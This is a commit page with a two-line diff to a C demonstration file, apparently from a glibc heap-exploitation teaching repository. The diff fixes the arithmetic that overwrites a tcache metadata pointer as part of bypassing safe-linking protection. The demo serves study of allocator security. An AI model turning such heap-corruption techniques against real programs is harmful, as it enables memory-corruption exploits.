Skip to content

Commit 693fbac

Browse files
committed
fix safe_link_double_protect.c
1 parent ad0f457 commit 693fbac

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

glibc_2.43/safe_link_double_protect.c

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -93,10 +93,10 @@ int main(void) {
9393
puts("by overwriting the LSB of the pointer for 0x30 in the t-cache metadata:");
9494

9595
// Calculate the address of the t-cache metadata
96-
void *metadata = (void *)((long)(value) & ~(0xfff));
96+
void *metadata = (void *)((long)(value) & ~(0xfff)) + 0x70;
9797

9898
// Overwrite the LSB of the 0x30 t-cache chunk to point to the heap chunk containing the arbitrary value
99-
*(unsigned int*)(metadata+0xb0) = (long)(metadata)+((long)(value) & (0xfff));
99+
*(unsigned int*)(metadata+0xb0) = (((long)metadata >> 12) << 12)+((long)(value) & (0xfff));
100100

101101
printf("\t\t> 0x40 t-cache: [%p -> 0x%lx]\n", value, (*(long*)value)^((long)metadata>>12));
102102
puts("");

0 commit comments

Comments
 (0)